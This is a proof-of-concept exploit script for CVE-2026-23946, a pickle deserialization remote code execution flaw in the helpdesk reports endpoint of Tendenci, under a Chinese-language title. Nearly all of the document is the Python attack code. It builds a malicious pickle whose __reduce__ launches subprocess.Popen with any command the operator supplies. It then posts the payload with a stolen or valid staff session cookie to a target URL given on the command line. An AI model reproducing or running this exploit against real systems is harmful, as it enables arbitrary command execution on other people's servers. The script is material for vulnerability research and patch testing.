CVE-2026-23946 Tendenci Helpdesk模块反序列化远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-23946 PoC - Tendenci Helpdesk Unsecure Pickle Deserialization RCE Note: Requires authenticated staff-level user session """ import pickle import base64 import requests import subprocess import sys # Malicious pickle payload that executes system command class RCEPayload: def __reduce__(self): # Execute calc.exe on Windows or whoami on Unix for testing cmd = "whoami" # Change to your target command return (subprocess.Popen, (cmd, 0, None, None, None, True)) def generate_payload(command): """Generate malicious pickle payload""" payload = RCEPayload() payload.__reduce__ = lambda: (subprocess.Popen, (command, 0, None, None, None, True)) serialized = pickle.dumps(payload) return base64.b64encode(serialized).decode('utf-8') def exploit(target_url, session_cookie, command): """ Exploit the vulnerable endpoint Args: target_url: Base URL of Tendenci site (e.g., http://target.com) session_cookie: Valid authenticated session cookie command: Command to execute on target system """ # Generate malicious payload payload = generate_payload(command) # Target endpoint - vulnerable run_report() function exploit_url = f"{target_url}/helpdesk/reports/" headers = { 'Cookie': f'sessionid={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded', } # Payload format depends on how run_report() processes input data = { 'report_data': payload, # or similar parameter name } try: response = requests.post(exploit_url, data=data, headers=headers, timeout=10) print(f"[*] Request sent to {exploit_url}") print(f"[*] Status code: {response.status_code}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-23946-poc.py <target_url> <session_cookie> <command>") print("Example: python cve-2026-23946-poc.py http://vulnerable-site.com abc123 'whoami'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] cmd = sys.argv[3] print(f"[*] Generating payload for command: {cmd}") result = exploit(target, cookie, cmd) if result: print(f"[*] Response received (check server for command output)")